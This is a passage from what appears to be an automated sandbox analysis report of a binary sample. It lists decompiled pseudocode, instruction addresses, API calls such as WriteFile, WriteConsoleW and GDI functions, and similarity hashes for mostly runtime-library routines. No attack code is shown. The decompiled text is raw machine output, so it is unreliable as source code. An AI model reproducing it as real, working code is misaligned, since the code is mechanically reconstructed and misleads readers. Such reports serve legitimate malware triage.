								_t246 =  *((char*)(( *_t243 & 0x000000ff) + 0xb347b0)) + 1;
								_v60 = _t246;
								_t247 = _t246 - _v48;
								_v76 = _t247;
								if(_t247 > _t302) {
									__eflags = _t302;
									if(_t302 > 0) {
										_t248 = _v52;
										_t310 = _v48;
										do {
											_t286 =  *((intOrPtr*)(_t267 + _t248));
											_t292 =  *(0xb362e0 + _v84 * 4) + _t285 + _t267;
											_t267 =  &(_t267->Internal);
											_t292[_t310 + 0x2e] = _t286;
											_t285 = _v72;
											__eflags = _t267 - _t302;
										} while (_t267 < _t302);
										L43:
										_t307 = _a4;
									}
									L44:
									 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + _t302;
								} else {
									_t287 = _v48;
									_t303 = _t267;
									_t311 = _v80;
									do {
										 *((char*)(_t313 + _t303 - 0x18)) =  *_t311;
										_t303 =  &(_t303->Internal);
										_t311 = _t311 + 1;
									} while (_t303 < _t287);
									_t304 = _v76;
									if(_v76 > 0) {
										E00B1F6B0( &_v28 + _t287, _t292, _t304);
										_t287 = _v48;
										_t315 = _t315 + 0xc;
									}
									_t300 = _v72;
									_t296 = _t267;
									_t312 = _v84;
									do {
										 *( *((intOrPtr*)(0xb362e0 + _t312 * 4)) + _t300 + _t296 + 0x2e) = _t267;
										_t296 =  &(_t296->Internal);
									} while (_t296 < _t287);
									_t307 = _a4;
									_v112 =  &_v28;
									_v124 = _t267;
									_v120 = _t267;
									_v48 = (_v60 == 4) + 1;
									_t258 = E00B28980( &_v124,  &_v68,  &_v112, (_v60 == 4) + 1,  &_v124, _v64);
									_t316 = _t315 + 0x14;
									if(_t258 != 0xffffffff) {
										_t240 =  &(_v52[_v76]);
										L21:
										_t201 = _t240 - 1;
										L31:
										_v52 = _t201 + 1;
										_t205 = E00B25A29(_v116, _t267,  &_v68, _v48,  &_v44, 5, _t267, _t267);
										_t315 = _t316 + 0x20;
										_v60 = _t205;
										if(_t205 != 0) {
											if(WriteFile(_v104,  &_v44, _t205,  &_v96, _t267) == 0) {
												L50:
												 *_t307 = GetLastError();
											} else {
												_t292 = _v52;
												_t210 =  *((intOrPtr*)(_t307 + 8)) + _t292 - _v100;
												_v76 = _t210;
												 *((intOrPtr*)(_t307 + 4)) = _t210;
												if(_v96 >= _v60) {
													if(_v53 != 0xa) {
														goto L38;
													} else {
														_t212 = 0xd;
														_v92 = _t212;
														if(WriteFile(_v104,  &_v92, 1,  &_v96, _t267) == 0) {
															goto L50;
														} else {
															if(_v96 >= 1) {
																 *((intOrPtr*)(_t307 + 8)) =  *((intOrPtr*)(_t307 + 8)) + 1;
																 *((intOrPtr*)(_t307 + 4)) =  *((intOrPtr*)(_t307 + 4)) + 1;
																_t292 = _v52;
																_v76 =  *((intOrPtr*)(_t307 + 4));
																goto L38;
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
						goto L51;
						L38:
					} while (_t292 < _v88);
				}
				L51:
				 *[fs:0x0] = _v16;
				_pop(_t299);
				_pop(_t308);
				_pop(_t266);
				return E00B1DB25(_t307, _t266, _v20 ^ _t313, _t292, _t299, _t308);
				goto L52;
			}

0x00b269c6
0x00b269c8
0x00b269d3
0x00b269d4
0x00b269d7
0x00b269dc
0x00b269de
0x00b269e4
0x00b269e8
0x00b269ee
0x00b269f3
0x00b269f9
0x00b269fc
0x00b269ff
0x00b26a02
0x00b26a05
0x00b26a08
0x00b26a12
0x00b26a19
0x00b26a21
0x00b26a24
0x00b26a2a
0x00b26a2e
0x00b26a31
0x00b26a35
0x00b26a35
0x00b26a3d
0x00b26a45
0x00b26a4a
0x00b26a4b
0x00b26a4c
0x00b26a4d
0x00b26a50
0x00b26a52
0x00b26a58
0x00b26a5e
0x00b26a61
0x00b26a63
0x00b26a66
0x00b26a6f
0x00b26a75
0x00b26a78
0x00b26a7f
0x00b26a86
0x00b26a89
0x00b26bc3
0x00b26bc7
0x00b26bca
0x00b26bed
0x00b26bf3
0x00b26bf5
0x00b26bf9
0x00b26c2a
0x00b26c2d
0x00b26c2f
0x00000000
0x00b26bfb
0x00b26bfb
0x00b26bfe
0x00b26c01
0x00b26c04
0x00b26d4e
0x00b26d5c
0x00b26d65
0x00b26c0a
0x00b26c14
0x00b26c19
0x00b26c1c
0x00b26c1f
0x00b26c25
0x00000000
0x00b26c25
0x00b26c1f
0x00b26c04
0x00b26bcc
0x00b26bd3
0x00b26bd6
0x00b26bd9
0x00b26bdb
0x00b26bde
0x00b26be5
0x00b26be7
0x00b26c30
0x00b26c33
0x00b26c34
0x00b26c39
0x00b26c3c
0x00b26c3f
0x00b26c45
0x00000000
0x00b26c45
0x00b26c3f
0x00b26a8f
0x00b26a92
0x00b26a94
0x00b26a96
0x00b26a9a
0x00b26a9b
0x00b26a9f
0x00000000
0x00000000
0x00000000
0x00b26a9f
0x00b26aa4
0x00b26aa6
0x00b26aab
0x00b26b6b
0x00b26b72
0x00b26b73
0x00b26b76
0x00b26b78
0x00b26d28
0x00b26d2a
0x00000000
0x00b26d2c
0x00b26d2c
0x00b26d2f
0x00b26d3e
0x00b26d42
0x00b26d43
0x00b26d43
0x00000000
0x00b26d47
0x00000000
0x00b26b7e
0x00b26b83
0x00b26b86
0x00b26b89
0x00b26b8f
0x00b26b98
0x00b26ba3
0x00b26ba8
0x00b26bab
0x00b26bae
0x00b26bb7
0x00b26bb7
0x00b26bba
0x00000000
0x00b26bba
0x00b26bae
0x00b26ab1
0x00b26ab4
0x00b26aba
0x00b26abc
0x00b26ac9
0x00b26aca
0x00b26acd
0x00b26ad0
0x00b26ad5
0x00b26cf9
0x00b26cfb
0x00b26cfd
0x00b26d00
0x00b26d03
0x00b26d0f
0x00b26d12
0x00b26d14
0x00b26d15
0x00b26d19
0x00b26d1c
0x00b26d1c
0x00b26d20
0x00b26d20
0x00b26d20
0x00b26d23
0x00b26d23
0x00b26adb
0x00b26adb
0x00b26ade
0x00b26ae0
0x00b26ae3
0x00b26ae5
0x00b26ae9
0x00b26aea
0x00b26aeb
0x00b26aef
0x00b26af4
0x00b26afe
0x00b26b03
0x00b26b06
0x00b26b06
0x00b26b09
0x00b26b0c
0x00b26b0e
0x00b26b11
0x00b26b1a
0x00b26b1e
0x00b26b1f
0x00b26b26
0x00b26b2c
0x00b26b34
0x00b26b3f
0x00b26b44
0x00b26b4f
0x00b26b54
0x00b26b5a
0x00b26b63
0x00b26bbd
0x00b26bbd
0x00b26c48
0x00b26c4d
0x00b26c5f
0x00b26c64
0x00b26c67
0x00b26c6c
0x00b26c87
0x00b26d6a
0x00b26d70
0x00b26c8d
0x00b26c8d
0x00b26c98
0x00b26c9a
0x00b26c9d
0x00b26ca6
0x00b26cb0
0x00000000
0x00b26cb2
0x00b26cb4
0x00b26cb6
0x00b26ccf
0x00000000
0x00b26cd5
0x00b26cd9
0x00b26cdf
0x00b26ce2
0x00b26ce8
0x00b26ceb
0x00000000
0x00b26ceb
0x00b26cd9
0x00b26ccf
0x00b26cb0
0x00b26ca6
0x00b26c87
0x00b26c6c
0x00b26b5a
0x00b26ad5
0x00b26aab
0x00000000
0x00b26cee
0x00b26cee
0x00b26cf7
0x00b26d72
0x00b26d77
0x00b26d7f
0x00b26d80
0x00b26d81
0x00b26d8d
0x00000000

APIs

GetConsoleOutputCP.KERNEL32(245FDE3E,?,00000000,?), ref: 00B26A24

Part of subcall function 00B25A29: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00B2649D,?,00000000,-00000008), ref: 00B25AD5

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B26C7F
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B26CC7
GetLastError.KERNEL32 ref: 00B26D6A

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 88cde4cd0b3141dbf989e5ee2aff46f1330b0e00c9cf306721cc4a941e51f132
Instruction ID: ae88dde21ea68ad2baf61aec3781a0d31e9043732080261fd59f716421e6a2d3
Opcode Fuzzy Hash: 88cde4cd0b3141dbf989e5ee2aff46f1330b0e00c9cf306721cc4a941e51f132
Instruction Fuzzy Hash: EAD15C75E042689FCF15CFA8E880AADBBF5FF09344F2845AAE859E7351D730A941CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00B278AB Relevance: 6.2, APIs: 4, Instructions: 168
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 70%

			E00B278AB(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t52;
				signed int _t53;
				intOrPtr _t54;
				signed int _t58;
				signed int _t61;
				intOrPtr _t71;
				signed int _t75;
				signed int _t79;
				signed int _t81;
				signed int _t84;
				signed int _t85;
				signed int _t97;
				signed int* _t98;
				signed char* _t101;
				signed int _t107;
				void* _t111;

				_push(0x10);
				_push(0xb33388);
				E00B1D900(__ebx, __edi, __esi);
				_t75 = 0;
				_t52 =  *(_t111 + 0x10);
				_t81 = _t52[1];
				if(_t81 == 0 ||  *((intOrPtr*)(_t81 + 8)) == 0) {
					L30:
					_t53 = 0;
					__eflags = 0;
					goto L31;
				} else {
					_t97 = _t52[2];
					if(_t97 != 0 ||  *_t52 < 0) {
						_t84 =  *_t52;
						_t107 =  *(_t111 + 0xc);
						if(_t84 >= 0) {
							_t107 = _t107 + 0xc + _t97;
						}
						 *(_t111 - 4) = _t75;
						_t101 =  *(_t111 + 0x14);
						if(_t84 >= 0 || ( *_t101 & 0x00000010) == 0) {
							L10:
							_t54 =  *((intOrPtr*)(_t111 + 8));
							__eflags = _t84 & 0x00000008;
							if((_t84 & 0x00000008) == 0) {
								__eflags =  *_t101 & 0x00000001;
								if(( *_t101 & 0x00000001) == 0) {
									_t84 =  *(_t54 + 0x18);
									__eflags = _t101[0x18] - _t75;
									if(_t101[0x18] != _t75) {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												__eflags =  *_t101 & 0x00000004;
												_t79 = 0;
												_t75 = (_t79 & 0xffffff00 | ( *_t101 & 0x00000004) != 0x00000000) + 1;
												__eflags = _t75;
												 *(_t111 - 0x20) = _t75;
												goto L29;
											}
										}
									} else {
										__eflags = _t84;
										if(_t84 == 0) {
											goto L32;
										} else {
											__eflags = _t107;
											if(_t107 == 0) {
												goto L32;
											} else {
												E00B1F6B0(_t107, E00B1DD40(_t84,  &(_t101[8])), _t101[0x14]);
												goto L29;
											}
										}
									}
								} else {
									__eflags =  *(_t54 + 0x18);
									if( *(_t54 + 0x18) == 0) {
										goto L32;
									} else {
										__eflags = _t107;
										if(_t107 == 0) {
											goto L32;
										} else {
											E00B1F6B0(_t107,  *(_t54 + 0x18), _t101[0x14]);
											__eflags = _t101[0x14] - 4;
											if(_t101[0x14] == 4) {
												__eflags =  *_t107;
												if( *_t107 != 0) {
													_push( &(_t101[8]));
													_push( *_t107);
													goto L21;
												}
											}
											goto L29;
										}
									}
								}
							} else {
								_t84 =  *(_t54 + 0x18);
								goto L12;
							}
						} else {
							_t71 =  *0xb35dcc; // 0x0
							 *((intOrPtr*)(_t111 - 0x1c)) = _t71;
							if(_t71 == 0) {
								goto L10;
							} else {
								 *0xb37000();
								_t84 =  *((intOrPtr*)(_t111 - 0x1c))();
								L12:
								if(_t84 == 0 || _t107 == 0) {
									L32:
									E00B21BDC(_t75, _t84, _t97, _t101, _t107);
									asm("int3");
									_push(8);
									_push(0xb333a8);
									E00B1D900(_t75, _t101, _t107);
									_t98 =  *(_t111 + 0x10);
									_t85 =  *(_t111 + 0xc);
									__eflags =  *_t98;
									if(__eflags >= 0) {
										_t103 = _t85 + 0xc + _t98[2];
										__eflags = _t85 + 0xc + _t98[2];
									} else {
										_t103 = _t85;
									}
									 *(_t111 - 4) =  *(_t111 - 4) & 0x00000000;
									_t108 =  *(_t111 + 0x14);
									_push( *(_t111 + 0x14));
									_push(_t98);
									_push(_t85);
									_t77 =  *((intOrPtr*)(_t111 + 8));
									_push( *((intOrPtr*)(_t111 + 8)));
									_t58 = E00B278AB(_t77, _t103, _t108, __eflags) - 1;
									__eflags = _t58;
									if(_t58 == 0) {
										_t61 = E00B2733D(_t103, _t108[0x18], E00B1DD40( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])));
									} else {
										_t61 = _t58 - 1;
										__eflags = _t61;
										if(_t61 == 0) {
											_t61 = E00B2734D(_t103, _t108[0x18], E00B1DD40( *((intOrPtr*)(_t77 + 0x18)),  &(_t108[8])), 1);
										}
									}
									 *(_t111 - 4) = 0xfffffffe;
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t61;
								} else {
									 *_t107 = _t84;
									_push( &(_t101[8]));
									_push(_t84);
									L21:
									 *_t107 = E00B1DD40();
									L29:
									 *(_t111 - 4) = 0xfffffffe;
									_t53 = _t75;
									L31:
									 *[fs:0x0] =  *((intOrPtr*)(_t111 - 0x10));
									return _t53;
								}
							}
						}
					} else {
						goto L30;
					}
				}
			}

0x00b278ab
0x00b278ad
0x00b278b2
0x00b278b7
0x00b278b9
0x00b278bc
0x00b278c1
0x00b279d1
0x00b279d1
0x00b279d1
0x00000000
0x00b278d0
0x00b278d0
0x00b278d5
0x00b278df
0x00b278e1
0x00b278e6
0x00b278eb
0x00b278eb
0x00b278ed
0x00b278f0
0x00b278f5
0x00b27917
0x00b27917
0x00b2791a
0x00b2791d
0x00b2793b
0x00b2793e
0x00b2797d
0x00b27980
0x00b27983
0x00b279a8
0x00b279aa
0x00000000
0x00b279ac
0x00b279ac
0x00b279ae
0x00000000
0x00b279b0
0x00b279b0
0x00b279b5
0x00b279b9
0x00b279b9
0x00b279ba
0x00000000
0x00b279ba
0x00b279ae
0x00b27985
0x00b27985
0x00b27987
0x00000000
0x00b27989
0x00b27989
0x00b2798b
0x00000000
0x00b2798d
0x00b2799e
0x00000000
0x00b279a3
0x00b2798b
0x00b27987
0x00b27940
0x00b27940
0x00b27944
0x00000000
0x00b2794a
0x00b2794a
0x00b2794c
0x00000000
0x00b27952
0x00b27959
0x00b27961
0x00b27965
0x00b27967
0x00b2796a
0x00b2796f
0x00b27970
0x00000000
0x00b27970
0x00b2796a
0x00000000
0x00b27965
0x00b2794c
0x00b27944
0x00b2791f
0x00b2791f
0x00000000
0x00b2791f
0x00b278fc
0x00b278fc
0x00b27901
0x00b27906
0x00000000
0x00b27908
0x00b2790a
0x00b27913
0x00b27922
0x00b27924
0x00b279e3
0x00b279e3
0x00b279e8
0x00b279e9
0x00b279eb
0x00b279f0
0x00b279f5
0x00b279f8
0x00b279fb
0x00b279fe
0x00b27a07
0x00b27a07
0x00b27a00
0x00b27a00
0x00b27a00
0x00b27a0a
0x00b27a0e
0x00b27a11
0x00b27a12
0x00b27a13
0x00b27a14
0x00b27a17
0x00b27a20
0x00b27a20
0x00b27a23
0x00b27a59
0x00b27a25
0x00b27a25
0x00b27a25
0x00b27a28
0x00b27a3f
0x00b27a3f
0x00b27a28
0x00b27a5e
0x00b27a68
0x00b27a74
0x00b27932
0x00b27932
0x00b27937
0x00b27938
0x00b27972
0x00b27979
0x00b279bd
0x00b279bd
0x00b279c4
0x00b279d3
0x00b279d6
0x00b279e2
0x00b279e2
0x00b27924
0x00b27906
0x00000000
0x00000000
0x00000000
0x00b278d5

APIs

___AdjustPointer.LIBCMT ref: 00B27972
___AdjustPointer.LIBCMT ref: 00B27995
___AdjustPointer.LIBCMT ref: 00B27A31

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: e8091cadfab2c72a315a661d9b894d9e2c75e272234ce5991c6a0e9a18e6013e
Instruction ID: 9ce1cddbabfd9b02ea775fab5f4b8c0d461a9840a7b302688ac9d135b805916b
Opcode Fuzzy Hash: e8091cadfab2c72a315a661d9b894d9e2c75e272234ce5991c6a0e9a18e6013e
Instruction Fuzzy Hash: 1C51E672548326AFDB298F15F441BBE77E4EF00310F1445ADE8494B190EF31AD81CB98

Uniqueness

Uniqueness Score: -1.00%

Function 00B1B280 Relevance: 6.1, APIs: 4, Instructions: 114COMMON

Download Yara Rule

APIs

SelectObject.GDI32 ref: 00B1B31B
SetBkColor.GDI32 ref: 00B1B37B
SetTextColor.GDI32 ref: 00B1B3A6
SelectObject.GDI32 ref: 00B1B3EE

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ColorObjectSelect$Text
String ID:
API String ID: 2688426544-0
Opcode ID: c2c9cb449467b224abca0e4187288fc32389f3f6bf5f5ef863d77a46dd88e6a4
Instruction ID: 25aaa5e5efea74a3a60cb17f3e6e1f455637664ffda71bb538d2c14aedd46058
Opcode Fuzzy Hash: c2c9cb449467b224abca0e4187288fc32389f3f6bf5f5ef863d77a46dd88e6a4
Instruction Fuzzy Hash: F151A375A04208EFCB04DF68D198AACBBF1FF48310F5584A9E899DB351DB31EA81DB41

Uniqueness

Uniqueness Score: -1.00%

Function 00B18D50 Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32 ref: 00B18D7B
GetSystemMenu.USER32 ref: 00B18DB0
CreatePopupMenu.USER32 ref: 00B18DD2

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: Menu$CreateLongPopupSystemWindow
String ID:
API String ID: 3388415271-0
Opcode ID: dd4f153fcba8d97aa13f27ca6027ff68e7f7533383f50e922f1d839a82773c3c
Instruction ID: d131c500353de7bca9afc58454c60c4937c3c675cf2ca2aa83950ff7bac577dc
Opcode Fuzzy Hash: dd4f153fcba8d97aa13f27ca6027ff68e7f7533383f50e922f1d839a82773c3c
Instruction Fuzzy Hash: 1A317275A04204DFCB44EF68D188B9DBBF0FB48311F5184A9E8899B351DB74AA848B42

Uniqueness

Uniqueness Score: -1.00%

Function 00B28F6D Relevance: 6.0, APIs: 4, Instructions: 29
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E00B28F6D(void* _a4, long _a8, DWORD* _a12) {
				void* _t13;

				_t13 = WriteConsoleW( *0xb348b0, _a4, _a8, _a12, 0);
				if(_t13 == 0 && GetLastError() == 6) {
					E00B28FE1();
					E00B28FC2();
					_t13 = WriteConsoleW( *0xb348b0, _a4, _a8, _a12, _t13);
				}
				return _t13;
			}

0x00b28f8a
0x00b28f8e
0x00b28f9b
0x00b28fa0
0x00b28fbb
0x00b28fbb
0x00b28fc1

APIs

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000), ref: 00B28F84
GetLastError.KERNEL32(?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000,?,?,?,00B26709,?), ref: 00B28F90

Part of subcall function 00B28FE1: CloseHandle.KERNEL32(FFFFFFFE,00B28FA0,?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000,?,?), ref: 00B28FF1

___initconout.LIBCMT ref: 00B28FA0

Part of subcall function 00B28FC2: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00B28F5E,00B28ABF,?,?,00B26DBE,?,?,00000000,?), ref: 00B28FD5

WriteConsoleW.KERNEL32(?,?,00000000,00000000,?,00B28AD2,?,00000001,?,?,?,00B26DBE,?,?,00000000,?), ref: 00B28FB5

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 7ea464c898f610f6cea3eba7610962ae69b44d063c2bfddb9fe5ee2e3eecffe0
Instruction ID: b8e1075780b23b77b7aa60cd92c95c2ca4a54f40d60bc020490d9c19986fb248
Opcode Fuzzy Hash: 7ea464c898f610f6cea3eba7610962ae69b44d063c2bfddb9fe5ee2e3eecffe0
Instruction Fuzzy Hash: 9DF0AC36501174BBCF222F96EC0499D7FAAFB097A1B254850FE1996170CF7299209B91

Uniqueness

Uniqueness Score: -1.00%

Function 00B17930 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 134COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00B179EF
_strlen.LIBCMT ref: 00B17AEC

Strings

(, xrefs: 00B17A60

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: _strlen
String ID: (
API String ID: 4218353326-3887548279
Opcode ID: 3927a2385a8048bd62ba712d800553c0edaa0be7600f269819daf2c3671dc304
Instruction ID: 5cb90c0e59b73f9d078f1396750c005649f30d81ad647bcccf0b9a5c40a4583f
Opcode Fuzzy Hash: 3927a2385a8048bd62ba712d800553c0edaa0be7600f269819daf2c3671dc304
Instruction Fuzzy Hash: 44510671918209ABDB15DF58C486BEDBBF0FF04304F4488A9E898DB350DB38EA95CB45

Uniqueness

Uniqueness Score: -1.00%

Function 00B2771B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 93
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 47%

			E00B2771B(void* __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, signed int* _a20, signed int _a24, signed int _a28, signed char _a32) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t37;
				signed int _t46;
				void* _t52;
				void* _t54;
				signed int* _t55;
				void* _t58;
				void* _t59;
				void* _t61;
				intOrPtr* _t63;

				E00B220D7(_a12);
				_pop(_t54);
				_t37 = E00B21C6E(_t52, _t54, __edx, _t59, _t61);
				_t55 = _a20;
				_t58 = _a4;
				if( *((intOrPtr*)(_t37 + 0x20)) != 0 ||  *_t58 == 0xe06d7363 ||  *_t58 == 0x80000026 || ( *_t55 & 0x1fffffff) < 0x19930522 || (_t55[8] & 0x00000001) == 0) {
					if(( *(_t58 + 4) & 0x00000066) == 0) {
						if(_t55[3] != 0) {
							L14:
							if( *_t58 != 0xe06d7363 ||  *((intOrPtr*)(_t58 + 0x10)) < 3 ||  *((intOrPtr*)(_t58 + 0x14)) <= 0x19930522) {
								L19:
								E00B27A82(_t58, _t58, _a8, _a12, _a16, _t55, _a32, _a24, _a28);
								goto L20;
							} else {
								_t63 =  *((intOrPtr*)( *((intOrPtr*)(_t58 + 0x1c)) + 8));
								if(_t63 == 0) {
									goto L19;
								}
								 *0xb37000(_t58, _a8, _a12, _a16, _t55, _a24, _a28, _a32 & 0x000000ff);
								return  *_t63();
							}
						}
						_t46 =  *_t55 & 0x1fffffff;
						if(_t46 < 0x19930521 || _t55[7] == 0) {
							if(_t46 < 0x19930522 || (_t55[8] >> 0x00000002 & 0x00000001) == 0) {
								goto L20;
							} else {
								goto L14;
							}
						} else {
							goto L14;
						}
					}
					if(_t55[1] != 0 && _a24 == 0) {
						L00B2731A(_a8, _a16, _t55);
					}
					goto L20;
				} else {
					L20:
					return 1;
				}
			}

0x00b27724
0x00b27729
0x00b2772a
0x00b2772f
0x00b27734
0x00b27744
0x00b2776c
0x00b27797
0x00b277b7
0x00b277bd
0x00b277f9
0x00b2780d
0x00000000
0x00b277ca
0x00b277cd
0x00b277d2
0x00000000
0x00000000
0x00b277ec
0x00000000
0x00b277f4
0x00b277bd
0x00b2779b
0x00b277a2
0x00b277ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00b277a2
0x00b27771
0x00b27787
0x00b2778c
0x00000000
0x00b27815
0x00b27815
0x00000000
0x00b27817

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 00B27724

Strings

csm, xrefs: 00B277B7
csm, xrefs: 00B27746

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: c2adaeec197610a436fa59bc035834eeb2a1bd978c9ae9f666604f53e8b99f3f
Instruction ID: 6ad24ab3b8c43c404f21e6eab74184285730a1d45ed981a6359ca0c1f0ffc89b
Opcode Fuzzy Hash: c2adaeec197610a436fa59bc035834eeb2a1bd978c9ae9f666604f53e8b99f3f
Instruction Fuzzy Hash: B431F535484235DBCF268F51ED448AA7BE5FF08315B1889DAF85C49121CB32CC61DF95

Uniqueness

Uniqueness Score: -1.00%

Function 00B14940 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

EnumFontFamiliesExW.GDI32 ref: 00B149D6

Strings

\, xrefs: 00B14961
1, xrefs: 00B14972

Memory Dump Source

Source File: 00000001.00000002.300701212.0000000000B11000.00000020.00000001.01000000.00000004.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000001.00000002.300683136.0000000000B10000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300818017.0000000000B2C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300845205.0000000000B34000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.300861090.0000000000B39000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_b10000_febcldoukq.jbxd

Similarity

API ID: EnumFamiliesFont
String ID: 1$\
API String ID: 2229041460-1239263948
Opcode ID: b32755e038ed92e11ab9c34d3e6b6886e8c67fcfa50b07af088c3c41b013d290
Instruction ID: 5267023ceb1ae169475184bdf1d58063cf8b6782eae5bebd4a1fd57680da6eb4
Opcode Fuzzy Hash: b32755e038ed92e11ab9c34d3e6b6886e8c67fcfa50b07af088c3c41b013d290
